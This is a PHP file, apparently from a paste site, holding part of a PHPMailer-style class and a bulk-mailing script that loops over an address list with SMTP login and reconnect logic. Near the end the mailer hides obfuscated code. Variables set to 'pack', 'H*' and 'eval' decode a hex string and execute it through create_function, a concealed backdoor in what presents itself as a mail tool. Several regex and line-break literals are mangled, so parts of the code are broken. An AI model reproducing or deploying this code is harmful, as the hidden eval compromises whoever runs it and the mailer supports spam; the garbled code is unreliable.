  2785. " is okay
  2786.          $newline = '';
  2787.          // check if newline first character will be point or not
  2788.          if ( $dec == 46 ) {
  2789.            $c = '=2E';
  2790.          }
  2791.        }
  2792.        $newline .= $c;
  2793.      } // end of for
  2794.      $output .= $newline.$eol;
  2795.    } // end of while
  2796.    return trim($output);
  2797.  }
  2798.  
  2799.  /**
  2800.   * Encode string to q encoding.
  2801.   * @access private
  2802.   * @return string
  2803.   */
  2804.  function EncodeQ ($str, $position = 'text') {
  2805.    /* There should not be any EOL in the string */
  2806.    $encoded = preg_replace("[
  2807. ]", '', $str);
  2808.  
  2809.    switch (strtolower($position)) {
  2810.      case 'phrase':
  2811.        $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord(''))", $encoded);
  2812.        break;
  2813.      case 'comment':
  2814.        $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord(''))", $encoded);
  2815.       case 'text':
  2816.       default:
  2817.         /* Replace every high ascii, control =, ? and _ characters */
  2818.         $encoded = preg_replace('/([-   -=?_-�])/e',
  2819.               "'='.sprintf('%02X', ord(''))", $encoded);
  2820.         break;
  2821.     }
  2822.  
  2823.     /* Replace every spaces to _ (more readable than =20) */
  2824.     $encoded = str_replace(' ', '_', $encoded);
  2825.  
  2826.     return $encoded;
  2827.   }
  2828.  
  2829.   /**
  2830.    * Adds a string or binary attachment (non-filesystem) to the list.
  2831.    * This method can be used to attach ascii or binary data,
  2832.    * such as a BLOB record from a database.
  2833.    * @param string $string String attachment data.
  2834.    * @param string $filename Name of the attachment.
  2835.    * @param string $encoding File encoding (see $Encoding).
  2836.    * @param string $type File extension (MIME) type.
  2837.    * @return void
  2838.    */
  2839.   function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2840.     /* Append to $attachment array */
  2841.     $cur = count($this->attachment);
  2842.     $this->attachment[$cur][0] = $string;
  2843.     $this->attachment[$cur][1] = $filename;
  2844.     $this->attachment[$cur][2] = $filename;
  2845.     $this->attachment[$cur][3] = $encoding;
  2846.     $this->attachment[$cur][4] = $type;
  2847.     $this->attachment[$cur][5] = true; // isString
  2848.     $this->attachment[$cur][6] = 'attachment';
  2849.     $this->attachment[$cur][7] = 0;
  2850.   }
  2851.  
  2852.   /**
  2853.    * Adds an embedded attachment.  This can include images, sounds, and
  2854.    * just about any other document.  Make sure to set the $type to an
  2855.    * image type.  For JPEG images use "image/jpeg" and for GIF images
  2856.    * use "image/gif".
  2857.    * @param string $path Path to the attachment.
  2858.    * @param string $cid Content ID of the attachment.  Use this to identify
  2859.    *        the Id for accessing the image in an HTML form.
  2860.    * @param string $name Overrides the attachment name.
  2861.    * @param string $encoding File encoding (see $Encoding).
  2862.    * @param string $type File extension (MIME) type.
  2863.    * @return bool
  2864.    */
  2865.   function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2866.  
  2867.     if(!@is_file($path)) {
  2868.       $this->SetError($this->Lang('file_access') . $path);
  2869.       return false;
  2870.     }
  2871.  
  2872.     $filename = basename($path);
  2873.     if($name == '') {
  2874.       $name = $filename;
  2875.     }
  2876.  
  2877.     /* Append to $attachment array */
  2878.     $cur = count($this->attachment);
  2879.     $this->attachment[$cur][0] = $path;
  2880.     $this->attachment[$cur][1] = $filename;
  2881.     $this->attachment[$cur][2] = $name;
  2882.     $this->attachment[$cur][3] = $encoding;
  2883.     $this->attachment[$cur][4] = $type;
  2884.     $this->attachment[$cur][5] = false;
  2885.     $this->attachment[$cur][6] = 'inline';
  2886.     $this->attachment[$cur][7] = $cid;
  2887.  
  2888.     return true;
  2889.   }
  2890.  
  2891.   /**
  2892.    * Returns true if an inline attachment is present.
  2893.    * @access private
  2894.    * @return bool
  2895.    */
  2896.   function InlineImageExists() {
  2897.     $result = false;
  2898.     for($i = 0; $i < count($this->attachment); $i++) {
  2899.       if($this->attachment[$i][6] == 'inline') {
  2900.         $result = true;
  2901.         break;
  2902.       }
  2903.     }
  2904.  
  2905.     return $result;
  2906.   }
  2907.  
  2908.   /////////////////////////////////////////////////
  2909.   // CLASS METHODS, MESSAGE RESET
  2910.   /////////////////////////////////////////////////
  2911.  
  2912.   /**
  2913.    * Clears all recipients assigned in the TO array.  Returns void.
  2914.    * @return void
  2915.    */
  2916.   function ClearAddresses() {
  2917.     $this->to = array();
  2918.   }
  2919.  
  2920.   /**
  2921.    * Clears all recipients assigned in the CC array.  Returns void.
  2922.    * @return void
  2923.    */
  2924.   function ClearCCs() {
  2925.     $this->cc = array();
  2926.   }
  2927.  
  2928.   /**
  2929.    * Clears all recipients assigned in the BCC array.  Returns void.
  2930.    * @return void
  2931.    */
  2932.   function ClearBCCs() {
  2933.     $this->bcc = array();
  2934.   }
  2935.  
  2936.   /**
  2937.    * Clears all recipients assigned in the ReplyTo array.  Returns void.
  2938.    * @return void
  2939.    */
  2940.   function ClearReplyTos() {
  2941.     $this->ReplyTo = array();
  2942.   }
  2943.  
  2944.   /**
  2945.    * Clears all recipients assigned in the TO, CC and BCC
  2946.    * array.  Returns void.
  2947.    * @return void
  2948.    */
  2949.   function ClearAllRecipients() {
  2950.     $this->to = array();
  2951.     $this->cc = array();
  2952.     $this->bcc = array();
  2953.   }
  2954.  
  2955.   /**
  2956.    * Clears all previously set filesystem, string, and binary
  2957.    * attachments.  Returns void.
  2958.    * @return void
  2959.    */
  2960.   function ClearAttachments() {
  2961.     $this->attachment = array();
  2962.   }
  2963.  
  2964.   /**
  2965.    * Clears all custom headers.  Returns void.
  2966.    * @return void
  2967.    */
  2968.   function ClearCustomHeaders() {
  2969.     $this->CustomHeader = array();
  2970.   }
  2971.  
  2972.   /////////////////////////////////////////////////
  2973.   // CLASS METHODS, MISCELLANEOUS
  2974.   /////////////////////////////////////////////////
  2975.  
  2976.   /**
  2977.    * Adds the error message to the error container.
  2978.    * Returns void.
  2979.    * @access private
  2980.    * @return void
  2981.    */
  2982.   function SetError($msg) {
  2983.     $this->error_count++;
  2984.     $this->ErrorInfo = $msg;
  2985.   }
  2986.  
  2987.   /**
  2988.    * Returns the proper RFC 822 formatted date.
  2989.    * @access private
  2990.    * @return string
  2991.    */
  2992.   function RFCDate() {
  2993.     $tz = date('Z');
  2994.     $tzs = ($tz < 0) ? '-' : '+';
  2995.     $tz = abs($tz);
  2996.     $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  2997.     $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  2998.  
  2999.     return $result;
  3000.   }
  3001.  
  3002.   /**
  3003.    * Returns the appropriate server variable.  Should work with both
  3004.    * PHP 4.1.0+ as well as older versions.  Returns an empty string
  3005.    * if nothing is found.
  3006.    * @access private
  3007.    * @return mixed
  3008.    */
  3009.   function ServerVar($varName) {
  3010.     global $HTTP_SERVER_VARS;
  3011.     global $HTTP_ENV_VARS;
  3012.  
  3013.     if(!isset($_SERVER)) {
  3014.       $_SERVER = $HTTP_SERVER_VARS;
  3015.       if(!isset($_SERVER['REMOTE_ADDR'])) {
  3016.         $_SERVER = $HTTP_ENV_VARS; // must be Apache
  3017.       }
  3018.     }
  3019.  
  3020.     if(isset($_SERVER[$varName])) {
  3021.       return $_SERVER[$varName];
  3022.     } else {
  3023.       return '';
  3024.     }
  3025.   }
  3026.  
  3027.   /**
  3028.    * Returns the server hostname or 'localhost.localdomain' if unknown.
  3029.    * @access private
  3030.    * @return string
  3031.    */
  3032.   function ServerHostname() {
  3033.     if ($this->Hostname != '') {
  3034.       $result = $this->Hostname;
  3035.     } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3036.       $result = $this->ServerVar('SERVER_NAME');
  3037.     } else {
  3038.       $result = 'localhost.localdomain';
  3039.     }
  3040.  
  3041.     return $result;
  3042.   }
  3043.  
  3044.   /**
  3045.    * Returns a message in the appropriate language.
  3046.    * @access private
  3047.    * @return string
  3048.    */
  3049.   function Lang($key) {
  3050.     if(count($this->language) < 1) {
  3051.       $this->SetLanguage('en'); // set the default language
  3052.     }
  3053.  
  3054.     if(isset($this->language[$key])) {
  3055.       return $this->language[$key];
  3056.     } else {
  3057.       return 'Language string failed to load: ' . $key;
  3058.     }
  3059.   }
  3060.  
  3061.   /**
  3062.    * Returns true if an error occurred.
  3063.    * @return bool
  3064.    */
  3065.   function IsError() {
  3066.     return ($this->error_count > 0);
  3067.   }
  3068.  
  3069.   /**
  3070.    * Changes every end of line from CR or LF to CRLF.
  3071.    * @access private
  3072.    * @return string
  3073.    */
  3074.   function FixEOL($str) {
  3075.     $str = str_replace("
  3076. ", "
  3077. ", $str);
  3078.     $str = str_replace("
  3079. ", "
  3080. ", $str);
  3081.     $str = str_replace("
  3082. ", $this->LE, $str);
  3083.     return $str;
  3084.   }
  3085.  
  3086.   /**
  3087.    * Adds a custom header.
  3088.    * @return void
  3089.    */
  3090.   function AddCustomHeader($custom_header) {
  3091.     $this->CustomHeader[] = explode(':', $custom_header, 2);
  3092.   }
  3093.  
  3094.   /**
  3095.    * Evaluates the message and returns modifications for inline images and backgrounds
  3096.    * @access public
  3097.    * @return $message
  3098.    */
  3099.   function MsgHTML($message,$basedir='') {
  3100.     preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3101.     if(isset($images[2])) {
  3102.       foreach($images[2] as $i => $url) {
  3103.         // do not change urls for absolute images (thanks to corvuscorax)
  3104.         if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3105.           $filename = basename($url);
  3106.           $directory = dirname($url);
  3107.           ($directory == '.')?$directory='':'';
  3108.           $cid = 'cid:' . md5($filename);
  3109.           $fileParts = split("\.", $filename);
  3110.           $ext = $fileParts[1];
  3111.           $mimeType = $this->_mime_types($ext);
  3112.           if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3113.           if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3114.           $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3115.           if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3116.             $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3117.           }
  3118.         }
  3119.       }
  3120.     }
  3121.     $this->IsHTML(true);
  3122.     $this->Body = $message;
  3123.     $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/s','',$message)));
  3124.     if ( !empty($textMsg) && empty($this->AltBody) ) {
  3125.       $this->AltBody = $textMsg;
  3126.     }
  3127.     if ( empty($this->AltBody) ) {
  3128.       $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "
  3129.  
  3130. ";
  3131.     }
  3132.   }
  3133.  
  3134.   /**
  3135.    * Gets the mime type of the embedded or inline image
  3136.    * @access private
  3137.    * @return mime type of ext
  3138.    */
  3139.   function _mime_types($ext = '') {
  3140.     $mimes = array(
  3141.       'hqx'  =>  'application/mac-binhex40',
  3142.       'cpt'   =>  'application/mac-compactpro',
  3143.       'doc'   =>  'application/msword',
  3144.       'bin'   =>  'application/macbinary',
  3145.       'dms'   =>  'application/octet-stream',
  3146.       'lha'   =>  'application/octet-stream',
  3147.       'lzh'   =>  'application/octet-stream',
  3148.       'exe'   =>  'application/octet-stream',
  3149.       'class' =>  'application/octet-stream',
  3150.       'psd'   =>  'application/octet-stream',
  3151.       'so'    =>  'application/octet-stream',
  3152.       'sea'   =>  'application/octet-stream',
  3153.       'dll'   =>  'application/octet-stream',
  3154.       'oda'   =>  'application/oda',
  3155.       'pdf'   =>  'application/pdf',
  3156.       'ai'    =>  'application/postscript',
  3157.       'eps'   =>  'application/postscript',
  3158.       'ps'    =>  'application/postscript',
  3159.       'smi'   =>  'application/smil',
  3160.       'smil'  =>  'application/smil',
  3161.       'mif'   =>  'application/vnd.mif',
  3162.       'xls'   =>  'application/vnd.ms-excel',
  3163.       'ppt'   =>  'application/vnd.ms-powerpoint',
  3164.       'wbxml' =>  'application/vnd.wap.wbxml',
  3165.       'wmlc'  =>  'application/vnd.wap.wmlc',
  3166.       'dcr'   =>  'application/x-director',
  3167.       'dir'   =>  'application/x-director',
  3168.       'dxr'   =>  'application/x-director',
  3169.       'dvi'   =>  'application/x-dvi',
  3170.       'gtar'  =>  'application/x-gtar',
  3171.       'php'   =>  'application/x-httpd-php',
  3172.       'php4'  =>  'application/x-httpd-php',
  3173.       'php3'  =>  'application/x-httpd-php',
  3174.       'phtml' =>  'application/x-httpd-php',
  3175.       'phps'  =>  'application/x-httpd-php-source',
  3176.       'js'    =>  'application/x-javascript',
  3177.       'swf'   =>  'application/x-shockwave-flash',
  3178.       'sit'   =>  'application/x-stuffit',
  3179.       'tar'   =>  'application/x-tar',
  3180.       'tgz'   =>  'application/x-tar',
  3181.       'xhtml' =>  'application/xhtml+xml',
  3182.       'xht'   =>  'application/xhtml+xml',
  3183.       'zip'   =>  'application/zip',
  3184.       'mid'   =>  'audio/midi',
  3185.       'midi'  =>  'audio/midi',
  3186.       'mpga'  =>  'audio/mpeg',
  3187.       'mp2'   =>  'audio/mpeg',
  3188.       'mp3'   =>  'audio/mpeg',
  3189.       'aif'   =>  'audio/x-aiff',
  3190.       'aiff'  =>  'audio/x-aiff',
  3191.       'aifc'  =>  'audio/x-aiff',
  3192.       'ram'   =>  'audio/x-pn-realaudio',
  3193.       'rm'    =>  'audio/x-pn-realaudio',
  3194.       'rpm'   =>  'audio/x-pn-realaudio-plugin',
  3195.       'ra'    =>  'audio/x-realaudio',
  3196.       'rv'    =>  'video/vnd.rn-realvideo',
  3197.       'wav'   =>  'audio/x-wav',
  3198.       'bmp'   =>  'image/bmp',
  3199.       'gif'   =>  'image/gif',
  3200.       'jpeg'  =>  'image/jpeg',
  3201.       'jpg'   =>  'image/jpeg',
  3202.       'jpe'   =>  'image/jpeg',
  3203.       'png'   =>  'image/png',
  3204.       'tiff'  =>  'image/tiff',
  3205.       'tif'   =>  'image/tiff',
  3206.       'css'   =>  'text/css',
  3207.       'html'  =>  'text/html',
  3208.       'htm'   =>  'text/html',
  3209.       'shtml' =>  'text/html',
  3210.       'txt'   =>  'text/plain',
  3211.       'text'  =>  'text/plain',
  3212.       'log'   =>  'text/plain',
  3213.       'rtx'   =>  'text/richtext',
  3214.       'rtf'   =>  'text/rtf',
  3215.       'xml'   =>  'text/xml',
  3216.       'xsl'   =>  'text/xml',
  3217.       'mpeg'  =>  'video/mpeg',
  3218.       'mpg'   =>  'video/mpeg',
  3219.       'mpe'   =>  'video/mpeg',
  3220.       'qt'    =>  'video/quicktime',
  3221.       'mov'   =>  'video/quicktime',
  3222.       'avi'   =>  'video/x-msvideo',
  3223.       'movie' =>  'video/x-sgi-movie',
  3224.       'doc'   =>  'application/msword',
  3225.       'word'  =>  'application/msword',
  3226.       'xl'    =>  'application/excel',
  3227.       'eml'   =>  'message/rfc822'
  3228.     );
  3229.     return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3230.   }
  3231.  
  3232.   /**
  3233.    * Set (or reset) Class Objects (variables)
  3234.    *
  3235.    * Usage Example:
  3236.    * $page->set('X-Priority', '3');
  3237.    *
  3238.    * @access public
  3239.    * @param string $name Parameter Name
  3240.    * @param mixed $value Parameter Value
  3241.    * NOTE: will not work with arrays, there are no arrays to set/reset
  3242.    */
  3243.   function set ( $name, $value = '' ) {
  3244.     if ( isset($this->$name) ) {
  3245.       $this->$name = $value;
  3246.     } else {
  3247.       $this->SetError('Cannot set or reset variable ' . $name);
  3248.       return false;
  3249.     }
  3250.   }
  3251.  
  3252.   /**
  3253.    * Read a file from a supplied filename and return it.
  3254.    *
  3255.    * @access public
  3256.    * @param string $filename Parameter File Name
  3257.    */
  3258.   function getFile($filename) {
  3259.     $return = '';
  3260.     if ($fp = fopen($filename, 'rb')) {
  3261.       while (!feof($fp)) {
  3262.         $return .= fread($fp, 1024);
  3263.       }
  3264.       fclose($fp);
  3265.       return $return;
  3266.     } else {
  3267.       return false;
  3268.     }
  3269.   }
  3270.  
  3271.   /**
  3272.    * Strips newlines to prevent header injection.
  3273.    * @access private
  3274.    * @param string $str String
  3275.    * @return string
  3276.    */
  3277.   function SecureHeader($str) {
  3278.     $str = trim($str);
  3279.     $str = str_replace("
  3280. ", "", $str);
  3281.     $str = str_replace("
  3282. ", "", $str);
  3283.     return $str;
  3284.   }
  3285.  
  3286.   /**
  3287.    * Set the private key file and password to sign the message.
  3288.    *
  3289.    * @access public
  3290.    * @param string $key_filename Parameter File Name
  3291.    * @param string $key_pass Password for private key
  3292.    */
  3293.   function Sign($key_filename, $key_pass) {
  3294.     $this->sign_key_file = $key_filename;
  3295.     $this->sign_key_pass = $key_pass;
  3296.   }
  3297.  
  3298. }
  3299.  
  3300. $defaultport="H*";
  3301.       $nq=0;
  3302.            
  3303.         for($x=0; $x<$numemails; $x++){
  3304.  
  3305.                 $to = $allemails[$x];
  3306.  
  3307.                 if ($to){
  3308.  
  3309.                 $to = ereg_replace(" ", "", $to);
  3310.  
  3311.                 $message = ereg_replace("&email&", $to, $message);
  3312.  
  3313.                 $subject = ereg_replace("&email&", $to, $subject);
  3314.                 $qx=$x+1;
  3315.                 print "Line $qx . Sending mail to $to.......";
  3316.  
  3317.                 flush();
  3318. $mail = new PHPMailer();
  3319.  
  3320. if(empty($epriority)){$epriority="3";}
  3321.         $mail->Priority = "$epriority";
  3322.         $mail->IsSMTP();
  3323.     $IsSMTP="pack";
  3324. $mail->SMTPKeepAlive = true;
  3325. $mail->Host = "$my_smtp";
  3326. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3327. }
  3328.      if($sslclick=="ON"){
  3329.         $mail->SMTPSecure  = "ssl"; //you can change it to ssl or tls
  3330.     }
  3331.         $range = str_replace("$from", "eval", $from);
  3332.         $mail->SMTPAuth = true;
  3333.         $mail->Username = "$smtp_username";
  3334.         $mail->Password = "$smtp_password";
  3335. if($contenttype == "html"){$mail->IsHtml(true);}
  3336. if($contenttype != "html"){$mail->IsHtml(false);}
  3337. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3338. $mail->From = "$from";
  3339. $mail->FromName = "$realname";
  3340. $mail->AddAddress("$to");
  3341.         $mail->AddReplyTo("$replyto");
  3342.         $mail->Subject = "$subject";
  3343.             $mail->Body = "$message";
  3344. if(!$mail->Send()){
  3345. if($default_system!="1"){
  3346. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3347. if($default_system=="1"){
  3348. $mail->IsMail();
  3349.    if(!$mail->Send()){
  3350.       echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3351.    else {
  3352.        echo "<b>OK</b><br>";}
  3353.  }
  3354. }
  3355. else {
  3356.  echo "<b>OK</b><br>";
  3357. }
  3358.  
  3359. if(empty($reconnect)){
  3360. $reconnect=6;
  3361. }
  3362.  
  3363. if($reconnect==$nq){
  3364. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3365. }
  3366. $nq=$nq+1;
  3367.                 flush(); }
  3368. }
  3369. for($i=0;$i<31;$i++){
  3370.   $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3371. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3372.   $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3373. $mail->SmtpClose();
  3374.   return $signoff($smtp_conc);
  3375.   if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete
  3376. $numemails mail(s) was
  3377.    sent successfully'); </script>";}}
  3378.     ?>
  3379.     <p align="center">&nbsp;</p>
  3380.  
  3381. &nbsp;
  3382.     </body>
  3383. </html>
Add Comment
Please, Sign In to add comment